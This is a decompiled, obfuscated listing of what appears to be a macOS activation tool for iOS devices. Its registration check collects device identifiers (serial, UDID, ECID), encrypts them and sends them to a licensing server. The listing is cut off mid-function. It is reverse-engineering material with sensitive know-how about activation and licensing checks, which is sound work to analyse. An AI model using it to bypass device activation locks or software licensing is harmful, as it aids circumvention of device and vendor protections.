CFSTR("\x12\xBB\x13i\x11m\x83\xF2\x5D\xE5\xE8B\xAF\xD4\xEF\xC6\x54\x9C\xF4\x86\xFF\x39\xAC(\v\x13`\xE3\x5E\xEE\x9B\xB5l\x18\xFB\x88\xED\x8A\xCA"));
v28 = objc_retainAutoreleasedReturnValue(v27);
v29 = IsErrorURL;
IsErrorURL = v28;
objc_release(v29);
v30 = objc_msgSend(
&OBJC_CLASS___NSString,
v38,
CFSTR("\x85\x02\x81\xD0\xDC\xA9=\xF4\xA2\x96\x9F\x05\a\xB1\x88+\x19\xCA\x56\xD4\xCCS\xA6\x06k\xCC\xF0("),
CFSTR("\x12\xBB\x13i\x11m\x83\xF2\x5D\xE5\xE8B\xAF\xD4\xEF\xC6\x54\x9C\xF4\x86\xFF\x39\xAC(\v\x13`\xE3\x5E\xEE\x9B\xB5l\x18\xFB\x88\xED\x8A\xCA"));
v31 = objc_retainAutoreleasedReturnValue(v30);
v32 = SendAttemptURL;
SendAttemptURL = v31;
objc_release(v32);
*v42 = 80902522;
}
else if ( v37 == -1506751496 )
{
strcpy(asc_100260C40, "%@/tool/macos_activator_version");
strcpy(asc_100260AE0, "%@/serial/isError");
qmemcpy(asc_100260B60, "%@/serial/requestActivation", 27);
*v42 = -1946734117;
}
}
if ( v37 != -1385083628 )
break;
*v42 = -784800315;
}
}
while ( v37 != -1442206978 );
return result;
}
// 10000A5E9: variable 'v35' is possibly undefined
// 10000ADA5: variable 'v34' is possibly undefined
// 1000197A0: using guessed type __int64 __fastcall HikariFunctionWrapper_2002(_QWORD, _QWORD, _QWORD, _QWORD);
// 1000197C0: using guessed type __int64 __fastcall HikariFunctionWrapper_2004(_QWORD, _QWORD, _QWORD, _QWORD);
// 1000197E0: using guessed type __int64 __fastcall HikariFunctionWrapper_2006(_QWORD, _QWORD, _QWORD, _QWORD);
// 100019800: using guessed type __int64 __fastcall HikariFunctionWrapper_2008(_QWORD, _QWORD, _QWORD, _QWORD);
// 100260C80: using guessed type __CFString stru_100260C80;
// 100260CC0: using guessed type __CFString stru_100260CC0;
// 100260D00: using guessed type __CFString cfstr_E;
// 100260D40: using guessed type __CFString stru_100260D40;
// 100260D80: using guessed type __CFString stru_100260D80;
// 100260DC0: using guessed type __CFString stru_100260DC0;
// 10029F200: using guessed type int dword_10029F200;
//----- (000000010000BBC3) ----------------------------------------------------
__int64 __fastcall IsJson(id a1)
{
id v1; // rbx
NSCharacterSet *v2; // rax
NSCharacterSet *v3; // r13
id v4; // rax
id v5; // r14
unsigned __int8 v6; // r15
unsigned __int8 v8; // al
unsigned __int8 v9; // al
id v10; // rax
id v11; // rbx
id v12; // rax
v1 = a1;
if ( !dword_10029F204 )
{
asc_100260DEE[0] = 123;
asc_100260DEE[1] = 0;
aJ_0[0] = 125;
aJ_0[1] = 0;
asc_100260DE6[0] = 93;
asc_100260DE6[1] = 0;
asc_100260DE2[0] = 91;
asc_100260DE2[1] = 0;
}
dword_10029F204 = 1;
objc_retain(a1);
if ( !a1 )
{
v1 = 0;
LABEL_8:
v6 = 0;
goto LABEL_9;
}
if ( !HikariFunctionWrapper_2010(a1, "length") )
goto LABEL_8;
v2 = +[NSCharacterSet whitespaceAndNewlineCharacterSet](
&OBJC_CLASS___NSCharacterSet,
"whitespaceAndNewlineCharacterSet",
3741253372LL);
v3 = objc_retainAutoreleasedReturnValue(v2);
v4 = objc_msgSend(a1, "stringByTrimmingCharactersInSet:", v3);
v5 = objc_retainAutoreleasedReturnValue(v4);
objc_release(a1);
objc_release(v3);
if ( (unsigned __int8)HikariFunctionWrapper_2012(v5, "hasPrefix:")
&& (v8 = (unsigned __int8)objc_msgSend(v5, "hasSuffix:", CFSTR("\x18j"))) != 0
|| (unsigned __int8)objc_msgSend(v5, "hasPrefix:", CFSTR("/\x16"))
&& (v9 = (unsigned __int8)HikariFunctionWrapper_2014(v5, "hasSuffix:")) != 0 )
{
v10 = HikariFunctionWrapper_2016(v5, "dataUsingEncoding:");
v11 = objc_retainAutoreleasedReturnValue(v10);
v12 = +[NSJSONSerialization JSONObjectWithData:options:error:](
&OBJC_CLASS___NSJSONSerialization,
"JSONObjectWithData:options:error:",
v11,
0,
0);
objc_unsafeClaimAutoreleasedReturnValue(v12);
v6 = 1;
objc_release(v11);
}
else
{
v6 = 0;
}
v1 = v5;
LABEL_9:
objc_release(v1);
return v6;
}
// 100260E50: using guessed type __CFString cfstr_J_0_0;
// 100260E90: using guessed type __CFString stru_100260E90;
// 10029F204: using guessed type int dword_10029F204;
//----- (000000010000C6A6) ----------------------------------------------------
NSDictionary *CheckVersion()
{
id *v0; // r13
id *v1; // r14
id *v2; // r15
id *v3; // r12
id *v4; // rbx
void *v5; // rax
id v6; // rax
id v7; // r14
void *v8; // rax
id v9; // r13
id v10; // rax
id v11; // rdi
void *v12; // rax
id v13; // rax
id v14; // r14
id v15; // rax
id v16; // rax
id v17; // r14
id v18; // r15
_QWORD *v19; // r13
NSDictionary *v20; // rax
NSDictionary *v21; // rbx
NSDictionary *v23; // rax
NSDictionary *v24; // rax
id v25; // rdi
id v26; // rax
__CFString *v27; // r14
_QWORD *v28; // rsi
__CFString *v29; // r12
__CFString *v30; // rcx
id v31; // rax
__CFString *v32; // r15
__CFString *v33; // rcx
id v34; // rax
__CFString *v35; // r13
__CFString *v36; // rdx
id v37; // rax
__CFString *v38; // rcx
_QWORD *v39; // rsi
id v40; // rax
NSNumber *v41; // rcx
NSNumber *v42; // rax
id v43; // rax
__CFString *v44; // rcx
void *v45; // rax
__CFString *v46; // rbx
id v47; // r13
id v48; // [rsp+0h] [rbp-90h] BYREF
id v49; // [rsp+8h] [rbp-88h]
id v50; // [rsp+10h] [rbp-80h]
id v51; // [rsp+18h] [rbp-78h]
id v52; // [rsp+20h] [rbp-70h]
id v53; // [rsp+28h] [rbp-68h]
id v54; // [rsp+30h] [rbp-60h]
id v55; // [rsp+38h] [rbp-58h]
id v56; // [rsp+40h] [rbp-50h]
id *v57; // [rsp+48h] [rbp-48h]
id v58; // [rsp+50h] [rbp-40h]
id v59; // [rsp+58h] [rbp-38h]
__int64 v60; // [rsp+60h] [rbp-30h]
v60 = -1;
if ( !dword_10029F208 )
{
asc_100261070[0] = 115;
asc_100261070[1] = 116;
asc_100261070[2] = 97;
asc_100261070[3] = 116;
asc_100261070[4] = 117;
asc_100261070[5] = 115;
asc_100261070[6] = 0;
asc_10026103C[0] = 100;
asc_10026103C[1] = 97;
asc_10026103C[2] = 116;
asc_10026103C[3] = 97;
asc_10026103C[4] = 0;
asc_100260FB5[0] = 116;
asc_100260FB5[1] = 111;
asc_100260FB5[2] = 111;
asc_100260FB5[3] = 108;
asc_100260FB5[4] = 73;
asc_100260FB5[5] = 100;
asc_100260FB5[6] = 0;
asc_100261061[0] = 109;
asc_100261061[1] = 101;
asc_100261061[2] = 115;
asc_100261061[3] = 115;
asc_100261061[4] = 97;
asc_100261061[5] = 103;
asc_100261061[6] = 101;
asc_100261061[7] = 0;
strcpy(aId, "hasMessage");
strcpy(asc_100261020, "No changelog available");
strcpy(asc_100260F36, "changelog");
asc_100260FA8[0] = 101;
asc_100260FA8[1] = 114;
asc_100260FA8[2] = 114;
asc_100260FA8[3] = 111;
asc_100260FA8[4] = 114;
asc_100260FA8[5] = 0;
strcpy(asc_100260F1C, "Server is down.");
strcpy(asc_10026104D, "has_message");
strcpy(asc_100260FE0, "Unexpected error");
asc_100260F48[0] = 118;
asc_100260F48[1] = 101;
asc_100260F48[2] = 114;
asc_100260F48[3] = 115;
asc_100260F48[4] = 105;
asc_100260F48[5] = 111;
asc_100260F48[6] = 110;
asc_100260F48[7] = 0;
strcpy(aR, "No response received from server.");
aEY[0] = 105;
aEY[1] = 100;
aEY[2] = 0;
}
dword_10029F208 = 1;
v0 = &v48 - 2;
v1 = &v48 - 2;
v2 = &v48 - 2;
v3 = &v48 - 2;
v4 = &v48 - 6;
v59 = &v48 - 6;
v56 = &v48 - 2;
v57 = &v48 - 2;
v5 = (void *)HikariFunctionWrapper_2024((__int64)CheckVersionURL);
v54 = objc_retainAutoreleasedReturnValue(v5);
if ( v54 && HikariFunctionWrapper_2026(v54, "length", 420842954) )
{
v6 = objc_msgSend(v54, "dataUsingEncoding:", 4);
v7 = objc_retainAutoreleasedReturnValue(v6);
v8 = (void *)HikariFunctionWrapper_2028(
&OBJC_CLASS___NSJSONSerialization,
"JSONObjectWithData:options:error:",
v7,
0,
0);
v51 = objc_retainAutoreleasedReturnValue(v8);
objc_release(v7);
v9 = v51;
v10 = objc_msgSend(v51, "objectForKeyedSubscript:", CFSTR("\xF2\x0B\xCF\xB6\xBA"));
v11 = objc_retainAutoreleasedReturnValue(v10);
v55 = v11;
if ( v11 && HikariFunctionWrapper_2030(v11, "length", 1960977575, 1178431294) )
{
v12 = (void *)HikariFunctionWrapper_2032(v55, 2349138433LL, 3158809309LL, 4010355738LL);
v48 = objc_retainAutoreleasedReturnValue(v12);
v13 = objc_msgSend(v48, "dataUsingEncoding:", 4, 603350944);
v14 = objc_retainAutoreleasedReturnValue(v13);
v15 = +[NSJSONSerialization JSONObjectWithData:options:error:](
&OBJC_CLASS___NSJSONSerialization,
"JSONObjectWithData:options:error:",
v14,
0,
0);
v58 = objc_retainAutoreleasedReturnValue(v15);
objc_release(v14);
v16 = objc_msgSend(v58, "objectForKeyedSubscript:", CFSTR("e\x04Y"));
v17 = objc_retainAutoreleasedReturnValue(v16);
v18 = ToolId;
v19 = v59;
ToolId = v17;
objc_release(v18);
*v19 = CFSTR("\xD0\x44\xA4\fhi");
v26 = objc_msgSend(v58, "objectForKeyedSubscript:", CFSTR("e\x04Y"));
v27 = (__CFString *)objc_retainAutoreleasedReturnValue(v26);
v28 = v59;
v29 = &stru_10025B688;
v30 = v27;
if ( !v27 )
v30 = &stru_10025B688;
*v4 = v30;
v28[1] = CFSTR("Ӡ\x15 \xD8\x5A\x99T");
v31 = objc_msgSend(v58, "objectForKeyedSubscript:", CFSTR("Ӡ\x15 \xD8\x5A\x99T"));
v32 = (__CFString *)objc_retainAutoreleasedReturnValue(v31);
v33 = v32;
if ( !v32 )
v33 = &stru_10025B688;
v4[1] = v33;
*((_QWORD *)v59 + 2) = CFSTR("%\xF0\x8A\xC3\xFE\x9F\xA4]\x84\xFA");
v34 = objc_msgSend(v58, "objectForKeyedSubscript:", CFSTR("%\xF0\x8A\xC3\xFE\x9F\xA4]\x84\xFA"));
v35 = (__CFString *)objc_retainAutoreleasedReturnValue(v34);
v36 = v35;
if ( !v35 )
v36 = CFSTR("\xD6\x42\xFF\x8E\xEE\x4A\xB5a,&5B\xEA,Ƌ\xB4\x84T\x1C\x04");
v4[2] = v36;
*((_QWORD *)v59 + 3) = CFSTR("=\xF5\x88\xDF\xB9\x17X");
v37 = objc_msgSend(v58, "objectForKeyedSubscript:", CFSTR("=\xF5\x88\xDF\xB9\x17X"));
v52 = objc_retainAutoreleasedReturnValue(v37);
v38 = (__CFString *)v52;
if ( !v52 )
v38 = &stru_10025B688;
v39 = v59;
v4[3] = v38;
v39[4] = CFSTR("id\xDA\x22T\xA8\x8A\xC9\x70R\x90");
v40 = objc_msgSend(v58, "objectForKeyedSubscript:", CFSTR("\x17\xDF\x2A\xD7\x1C껱\x93lx"));
v53 = objc_retainAutoreleasedReturnValue(v40);
v41 = (NSNumber *)v53;
if ( !v53 )
{
v42 = +[NSNumber numberWithBool:](&OBJC_CLASS___NSNumber, "numberWithBool:", 0);
v41 = objc_retainAutoreleasedReturnValue(v42);
}
v49 = v41;
v4[4] = v41;
*((_QWORD *)v59 + 5) = CFSTR("\x12\xFC\xBB\xEB\x05\x2F\x9C");
v43 = objc_msgSend(v58, "objectForKeyedSubscript:");
v44 = (__CFString *)objc_retainAutoreleasedReturnValue(v43);
if ( v44 )
v29 = v44;
v4[5] = v29;
v50 = v44;
v45 = (void *)HikariFunctionWrapper_2034(
&OBJC_CLASS___NSDictionary,
"dictionaryWithObjects:forKeys:count:",
&v48 - 6,
v59,
6);
v57 = objc_retainAutoreleasedReturnValue(v45);
v46 = v35;
v56 = v32;
v59 = v27;
objc_release(v50);
v47 = v58;
if ( !v53 )
objc_release(v49);
objc_release(v53);
objc_release(v52);
objc_release(v46);
objc_release(v56);
objc_release(v59);
objc_release(v47);
objc_release(v48);
v25 = v55;
v9 = v51;
v21 = (NSDictionary *)v57;
}
else
{
*v3 = CFSTR("=\xF5\x88\xDF\xB9\x17X");
*v2 = CFSTR("\xE1\xEF\x34\xBD");
v3[1] = CFSTR("\x12\xFC\xBB\xEB\x05\x2F\x9C");
v2[1] = CFSTR("\xBB\xB5&\xD9\x53\x19k\f:J\xAA\x10\ff\n");
v23 = +[NSDictionary dictionaryWithObjects:forKeys:count:](
&OBJC_CLASS___NSDictionary,
"dictionaryWithObjects:forKeys:count:",
&v48 - 2,
&v48 - 2,
2);
v24 = objc_retainAutoreleasedReturnValue(v23);
v25 = v55;
v21 = v24;
}
objc_release(v25);
objc_release(v9);
}
else
{
*v1 = CFSTR("=\xF5\x88\xDF\xB9\x17X");
*v0 = CFSTR("\xE1\xEF\x34\xBD");
v1[1] = CFSTR("\x12\xFC\xBB\xEB\x05\x2F\x9C");
v0[1] = CFSTR("R;^\r\x90OIS0u_\x84=4pc\x172L\xF4\xE8\x1F\xA9\x9AI'C\x876\xE9\x01");
v20 = +[NSDictionary dictionaryWithObjects:forKeys:count:](
&OBJC_CLASS___NSDictionary,
"dictionaryWithObjects:forKeys:count:",
&v48 - 2,
&v48 - 2,
2);
v21 = objc_retainAutoreleasedReturnValue(v20);
}
objc_release(v54);
objc_autoreleaseReturnValue(v21);
return v21;
}
// 10000E1B2: conditional instruction was optimized away because r12d.4==EE450670
// 10000EDE1: conditional instruction was optimized away because r12d.4==D3FF4520
// 100019920: using guessed type __int64 __fastcall HikariFunctionWrapper_2026(_QWORD, _QWORD, _QWORD);
// 100019940: using guessed type __int64 __fastcall HikariFunctionWrapper_2028(_QWORD, _QWORD, _QWORD, _QWORD, _QWORD);
// 100019960: using guessed type __int64 __fastcall HikariFunctionWrapper_2030(_QWORD, _QWORD, _QWORD, _QWORD);
// 100019980: using guessed type __int64 __fastcall HikariFunctionWrapper_2032(_QWORD, _QWORD, _QWORD, _QWORD);
// 1000199A0: using guessed type __int64 __fastcall HikariFunctionWrapper_2034(_QWORD, _QWORD, _QWORD, _QWORD, _QWORD);
// 10025B688: using guessed type __CFString stru_10025B688;
// 1002610E0: using guessed type __CFString cfstr_Id;
// 100261120: using guessed type __CFString stru_100261120;
// 100261160: using guessed type __CFString stru_100261160;
// 1002611A0: using guessed type __CFString stru_1002611A0;
// 1002611E0: using guessed type __CFString stru_1002611E0;
// 100261220: using guessed type __CFString cfstr_EY;
// 100261260: using guessed type __CFString stru_100261260;
// 1002612A0: using guessed type __CFString stru_1002612A0;
// 1002612E0: using guessed type __CFString stru_1002612E0;
// 100261320: using guessed type __CFString stru_100261320;
// 100261360: using guessed type __CFString cfstr_R;
// 1002613A0: using guessed type __CFString stru_1002613A0;
// 1002613E0: using guessed type __CFString stru_1002613E0;
// 10029F208: using guessed type int dword_10029F208;
//----- (000000010000F48E) ----------------------------------------------------
id CheckRegistration()
{
id *v0; // rbx
_QWORD *v1; // r14
void *v2; // rax
__CFString *v3; // rdx
NSString *v4; // rax
NSString *v5; // r13
void *v6; // rax
id v7; // r12
NSString *v8; // rax
NSString *v9; // rax
NSString *v10; // r15
void *v11; // rax
NSData *v12; // rax
NSData *v13; // r14
id v14; // rax
void *v15; // rax
id v16; // rax
id v17; // rcx
id v18; // rdx
void *v19; // rax
void *v20; // rax
id v21; // rax
id v22; // r12
id v23; // rax
id v24; // rbx
id v25; // rax
id v26; // r12
void *v27; // rax
id v28; // rax
void *v29; // rax
id v30; // rax
id v31; // r14
id v32; // rax
id v33; // r13
id v34; // rax
id v35; // r13
id v36; // rax
id v37; // rbx
void *v38; // rax
void *v39; // rax
id v40; // r14
NSString *v41; // rax
NSString *v42; // r13
id v43; // rcx
id v44; // rdx
NSDictionary *v45; // rax
_QWORD *v46; // rcx
_QWORD *v47; // rdx
__CFString *v48; // rax
id v49; // rdx
NSDictionary *v50; // rax
NSDictionary *v51; // rax
id v52; // rbx
void *v53; // rbx
id v54; // r12
id v55; // r13
id v56; // rbx
__CFString **v58; // r10
id *v59; // r11
void *v60; // rax
NSString *v61; // rax
NSString *v62; // r13
NSNumber *v63; // rax
NSNumber *v64; // r14
NSDictionary *v65; // rax
id v66; // r13
id v67; // rbx
_QWORD *v68; // rcx
_QWORD *v69; // rdx
NSDictionary *v70; // rax
_QWORD *v71; // [rsp+0h] [rbp-D0h] BYREF
_QWORD *v72; // [rsp+8h] [rbp-C8h]
id v73; // [rsp+10h] [rbp-C0h]
id *v74; // [rsp+18h] [rbp-B8h]
id v75; // [rsp+20h] [rbp-B0h]
id v76; // [rsp+28h] [rbp-A8h]
id v77; // [rsp+30h] [rbp-A0h]
id *v78; // [rsp+38h] [rbp-98h]
id v79; // [rsp+40h] [rbp-90h]
id v80; // [rsp+48h] [rbp-88h]
id *v81; // [rsp+50h] [rbp-80h]
id v82; // [rsp+58h] [rbp-78h]
__CFString **v83; // [rsp+60h] [rbp-70h]
id v84; // [rsp+68h] [rbp-68h]
id v85; // [rsp+70h] [rbp-60h]
id v86; // [rsp+78h] [rbp-58h]
id v87; // [rsp+80h] [rbp-50h]
id v88; // [rsp+88h] [rbp-48h] BYREF
unsigned __int8 v89; // [rsp+97h] [rbp-39h]
id v90[7]; // [rsp+98h] [rbp-38h] BYREF
v90[1] = (id)-1LL;
if ( !dword_10029F20C )
{
asc_10026156D[0] = 112;
asc_10026156D[1] = 114;
asc_10026156D[2] = 111;
asc_10026156D[3] = 100;
asc_10026156D[4] = 117;
asc_10026156D[5] = 99;
asc_10026156D[6] = 116;
asc_10026156D[7] = 0;
strcpy(asc_100261558, "backend_code");
asc_100261543[0] = 116;
asc_100261543[1] = 111;
asc_100261543[2] = 111;
asc_100261543[3] = 108;
asc_100261543[4] = 95;
asc_100261543[5] = 105;
asc_100261543[6] = 100;
asc_100261543[7] = 0;
asc_1002615B4[0] = 101;
asc_1002615B4[1] = 99;
asc_1002615B4[2] = 105;
asc_1002615B4[3] = 100;
asc_1002615B4[4] = 0;
asc_100261070[0] = 115;
asc_100261070[1] = 116;
asc_100261070[2] = 97;
asc_100261070[3] = 116;
asc_100261070[4] = 117;
asc_100261070[5] = 115;
asc_100261070[6] = 0;
strcpy(aBe, "Serial mismatch");
asc_100260FA8[0] = 101;
asc_100260FA8[1] = 114;
asc_100260FA8[2] = 114;
asc_100260FA8[3] = 111;
asc_100260FA8[4] = 114;
asc_100260FA8[5] = 0;
strcpy(asc_100260FE0, "Unexpected error");
strcpy(asc_10026152F, "ios_version");
asc_10026141C[0] = 115;
asc_10026141C[1] = 117;
asc_10026141C[2] = 99;
asc_10026141C[3] = 99;
asc_10026141C[4] = 101;
asc_10026141C[5] = 115;
asc_10026141C[6] = 115;
asc_10026141C[7] = 0;
strcpy(asc_1002614D3, "isAuthorized");
asc_1002615C0[0] = 115;
asc_1002615C0[1] = 101;
asc_1002615C0[2] = 114;
asc_1002615C0[3] = 105;
asc_1002615C0[4] = 97;
asc_1002615C0[5] = 108;
asc_1002615C0[6] = 0;
strcpy(aN_0, "Server returned no data.");
strcpy(aAsaRge, "No response received.");
asc_10026103C[0] = 100;
asc_10026103C[1] = 97;
asc_10026103C[2] = 116;
asc_10026103C[3] = 97;
asc_10026103C[4] = 0;
strcpy(asc_100261460, "Invalid response format, not JSON.");
aLH[0] = 117;
aLH[1] = 100;
aLH[2] = 105;
aLH[3] = 100;
aLH[4] = 0;
asc_100261061[0] = 109;
asc_100261061[1] = 101;
asc_100261061[2] = 115;
asc_100261061[3] = 115;
asc_100261061[4] = 97;
asc_100261061[5] = 103;
asc_100261061[6] = 101;
asc_100261061[7] = 0;
strcpy(asc_100261582, "tool_version");
strcpy(asc_10026140A, "Serial %@");
}
dword_10029F20C = 1;
v0 = (id *)(&v71 - 8);
v1 = &v71 - 8;
v79 = &v71 - 2;
v80 = &v71 - 2;
v88 = &v71 - 2;
v90[0] = &v71 - 2;
v82 = &v71 - 2;
v84 = &v71 - 2;
v85 = &v71 - 2;
v77 = &v71 - 2;
v71 = &v71 - 2;
v72 = &v71 - 2;
v83 = (__CFString **)(&v71 - 4);
*v1 = CFSTR("\xE3\xD7\x9Cl\xF8\n");
v81 = &v88;
v74 = v90;
v78 = v90;
v2 = (void *)HikariFunctionWrapper_2040(&OBJC_CLASS___iOSDevice, "SerialNumber");
v86 = objc_retainAutoreleasedReturnValue(v2);
*v0 = v86;
v1[1] = CFSTR("\\\xA5\xAD\x8A\x12\x01̟");
v0[1] = ToolId;
v1[2] = CFSTR("F\xD1\xD0\xCC\x54\xA8\xC8\x4D\xFF\xE5\xE2\xEB(");
v0[2] = VersionTool[0];
v1[3] = CFSTR("\b\x83/\x80\xA5\xE3\x9C\x1B\xAE/v\xCC\x46");
v3 = BackEndCode;
v0[3] = BackEndCode;
v1[4] = CFSTR("\xB3\x98\x919\xEA\x25\xE2\x12\xF7\xF5\x6F\x86");
v4 = +[iOSDevice iOSVersion](
&OBJC_CLASS___iOSDevice,
"iOSVersion",
v3,
CFSTR("\xB3\x98\x919\xEA\x25\xE2\x12\xF7\xF5\x6F\x86"));
v5 = objc_retainAutoreleasedReturnValue(v4);
v0[4] = v5;
v1[5] = CFSTR("\x04l\x10\\h");
v6 = (void *)HikariFunctionWrapper_2042(&OBJC_CLASS___iOSDevice, "UDID");
v7 = objc_retainAutoreleasedReturnValue(v6);
v0[5] = v7;
v1[6] = CFSTR("\xAA9YJ\x18tn\xAD");
v8 = +[iOSDevice ProductType](&OBJC_CLASS___iOSDevice, "ProductType", 178710299, 0);
v87 = objc_retainAutoreleasedReturnValue(v8);
v0[6] = v87;
v1[7] = CFSTR("\x04\x8E\xEE\xE0\xC3");
v9 = +[iOSDevice ECID](&OBJC_CLASS___iOSDevice, "ECID");
v10 = objc_retainAutoreleasedReturnValue(v9);
v0[7] = v10;
v11 = (void *)HikariFunctionWrapper_2044(
&OBJC_CLASS___NSDictionary,
"dictionaryWithObjects:forKeys:count:",
&v71 - 8,
&v71 - 8,
8);
v76 = objc_retainAutoreleasedReturnValue(v11);
objc_release(v10);
objc_release(v87);
objc_release(v7);
objc_release(v5);
objc_release(v86);
v12 = +[NSJSONSerialization dataWithJSONObject:options:error:](
&OBJC_CLASS___NSJSONSerialization,
"dataWithJSONObject:options:error:",
v76,
0,
0);
v13 = objc_retainAutoreleasedReturnValue(v12);
v14 = objc_alloc((Class)&OBJC_CLASS___NSString);
v86 = objc_msgSend(v14, "initWithData:encoding:", v13, 4, 532995);
v15 = (void *)encryptData(v86);
v16 = objc_retainAutoreleasedReturnValue(v15);
v17 = v80;
*(_QWORD *)v80 = CFSTR("\xF2\x0B\xCF\xB6\xBA");
v87 = v16;
v18 = v79;
*(_QWORD *)v79 = v16;
v19 = (void *)HikariFunctionWrapper_2046(
&OBJC_CLASS___NSDictionary,
"dictionaryWithObjects:forKeys:count:",
v18,
v17,
1);
v79 = objc_retainAutoreleasedReturnValue(v19);
v20 = (void *)HikariFunctionWrapper_2048(
&OBJC_CLASS___NSJSONSerialization,
"dataWithJSONObject:options:error:",
v79,
0,
0);
v80 = objc_retainAutoreleasedReturnValue(v20);
v21 = postRequest(AuthURL, (__int64)v80);
v22 = objc_retainAutoreleasedReturnValue(v21);
v73 = v13;
if ( v22 )
{
if ( (unsigned __int8)IsJson(v22) )
{
v88 = v22;
v23 = objc_msgSend(v22, "dataUsingEncoding:", 4);
v24 = objc_retainAutoreleasedReturnValue(v23);
v25 = +[NSJSONSerialization JSONObjectWithData:options:error:](
&OBJC_CLASS___NSJSONSerialization,
"JSONObjectWithData:options:error:",
v24,
0,
0);
v26 = objc_retainAutoreleasedReturnValue(v25);
objc_release(v24);
v84 = v26;
v27 = (void *)HikariFunctionWrapper_2050(
v26,
"objectForKeyedSubscript:",
CFSTR("\xF2\x0B\xCF\xB6\xBA"),
2485296533LL);
v28 = objc_retainAutoreleasedReturnValue(v27);
v22 = v88;
v82 = v28;
if ( !v28 )
{
v46 = v77;
*(_QWORD *)v77 = CFSTR("=\xF5\x88\xDF\xB9\x17X");
v47 = v85;
*(_QWORD *)v85 = CFSTR("\xE1\xEF\x34\xBD");
v46[1] = CFSTR("\x12\xFC\xBB\xEB\x05\x2F\x9C");
v47[1] = CFSTR("N\xBD\xDF\x6A\xB9\xBCk\xEC\xEA\x54+\xF4\xBF\x04\x24A\xCF\x01\x8F\x9B\xE8\x7F\x810\f");
v51 = +[NSDictionary dictionaryWithObjects:forKeys:count:](
&OBJC_CLASS___NSDictionary,
"dictionaryWithObjects:forKeys:count:",
v47,
v46,
2);
v90[0] = objc_retainAutoreleasedReturnValue(v51);
LABEL_12:
v52 = v84;
objc_release(v82);
objc_release(v52);
goto LABEL_13;
}
v29 = (void *)decryptData(v28);
v77 = objc_retainAutoreleasedReturnValue(v29);
v30 = objc_msgSend(v77, "dataUsingEncoding:", 4, 158614598);
v31 = objc_retainAutoreleasedReturnValue(v30);
v32 = +[NSJSONSerialization JSONObjectWithData:options:error:](
&OBJC_CLASS___NSJSONSerialization,
"JSONObjectWithData:options:error:",
v31,
0,
0);
v33 = objc_retainAutoreleasedReturnValue(v32);
objc_release(v31);
v85 = v33;
v34 = objc_msgSend(v33, "objectForKeyedSubscript:", CFSTR("\x8E\xFB\xF3\x28\xCD\x556E\x05%\x02\x17="));
v35 = objc_retainAutoreleasedReturnValue(v34);
v36 = objc_msgSend(v35, "description", 199968302);
v37 = objc_retainAutoreleasedReturnValue(v36);
LOBYTE(v90[0]) = (unsigned __int8)objc_msgSend(v37, "boolValue");
objc_release(v37);
objc_release(v35);
if ( LOBYTE(v90[0]) )
{
v38 = (void *)HikariFunctionWrapper_2052(v85, "objectForKeyedSubscript:", CFSTR("\xE3\xD7\x9Cl\xF8\n"));
v75 = objc_retainAutoreleasedReturnValue(v38);
v39 = (void *)HikariFunctionWrapper_2054(v75, "description");
v40 = objc_retainAutoreleasedReturnValue(v39);
v41 = +[iOSDevice SerialNumber](&OBJC_CLASS___iOSDevice, "SerialNumber", 2028664);
v42 = objc_retainAutoreleasedReturnValue(v41);
v89 = (unsigned __int8)objc_msgSend(v40, "isEqualToString:", v42, 0, 141346880, 3314685370LL);
objc_release(v42);
objc_release(v40);
v22 = v88;
objc_release(v75);
if ( !v89 )
{
v68 = v72;
*v72 = CFSTR("=\xF5\x88\xDF\xB9\x17X");
v69 = v71;
*v71 = CFSTR("\xE1\xEF\x34\xBD");
v68[1] = CFSTR("\x12\xFC\xBB\xEB\x05\x2F\x9C");
v69[1] = CFSTR("\x13be\xB0\x8E\x8EŹT\xB4\x7F\xB7\xE1\x5A\x85\f");
v70 = +[NSDictionary dictionaryWithObjects:forKeys:count:](
&OBJC_CLASS___NSDictionary,
"dictionaryWithObjects:forKeys:count:",
v69,
v68,
2);
v90[0] = objc_retainAutoreleasedReturnValue(v70);
v66 = v85;
goto LABEL_15;
}
v48 = CFSTR("\x16\r\x11\x86\"\x17\r\xAD");
}
else
{
v48 = CFSTR("\xE1\xEF\x34\xBD");
}
v58 = v83;
v59 = v81;
*v81 = CFSTR("=\xF5\x88\xDF\xB9\x17X");
*v58 = v48;
v59[1] = CFSTR("\x12\xFC\xBB\xEB\x05\x2F\x9C");
v60 = (void *)HikariFunctionWrapper_2056(
&OBJC_CLASS___iOSDevice,
"SerialNumber",
CFSTR("=\xF5\x88\xDF\xB9\x17X"),
949170424);
v88 = objc_retainAutoreleasedReturnValue(v60);
v61 = +[NSString stringWithFormat:](
&OBJC_CLASS___NSString,
"stringWithFormat:",
CFSTR("\xEE\xEB\x46\xC0\x25\xE4\xC6\x10*"),
v88,
0);
v62 = objc_retainAutoreleasedReturnValue(v61);
v83[1] = (__CFString *)v62;
v81[2] = CFSTR("\x8E\xFB\xF3\x28\xCD\x556E\x05%\x02\x17=");
v63 = +[NSNumber numberWithBool:](&OBJC_CLASS___NSNumber, "numberWithBool:", (unsigned int)SLOBYTE(v90[0]));
v64 = objc_retainAutoreleasedReturnValue(v63);
v83[2] = (__CFString *)v64;
v65 = +[NSDictionary dictionaryWithObjects:forKeys:count:](
&OBJC_CLASS___NSDictionary,
"dictionaryWithObjects:forKeys:count:",
v83,
v81,
3);
v90[0] = objc_retainAutoreleasedReturnValue(v65);
objc_release(v64);
objc_release(v62);
objc_release(v88);
v66 = v85;
LABEL_15:
v67 = v77;
objc_release(v66);
objc_release(v67);
goto LABEL_12;
}
*(_QWORD *)v84 = CFSTR("=\xF5\x88\xDF\xB9\x17X");
*(_QWORD *)v82 = CFSTR("\xE1\xEF\x34\xBD");
v43 = v84;
*((_QWORD *)v84 + 1) = CFSTR("\x12\xFC\xBB\xEB\x05\x2F\x9C");
v44 = v82;
*((_QWORD *)v82 + 1) = CFSTR("\xBB\x96\xD0\x77\x91B':\xAA\x1D\xFCS\xA4\x96\xFF\x9D.\x17\x03\x124\xFCi\xD8\x60\x83x\xF9~ӈ\x8C");
v45 = +[NSDictionary dictionaryWithObjects:forKeys:count:](
&OBJC_CLASS___NSDictionary,
"dictionaryWithObjects:forKeys:count:",
v44,
v43,
2);
v90[0] = objc_retainAutoreleasedReturnValue(v45);
}
else
{
*(_QWORD *)v90[0] = CFSTR("=\xF5\x88\xDF\xB9\x17X");
*(_QWORD *)v88 = CFSTR("\xE1\xEF\x34\xBD");
*((_QWORD *)v90[0] + 1) = CFSTR("\x12\xFC\xBB\xEB\x05\x2F\x9C");
v49 = v88;
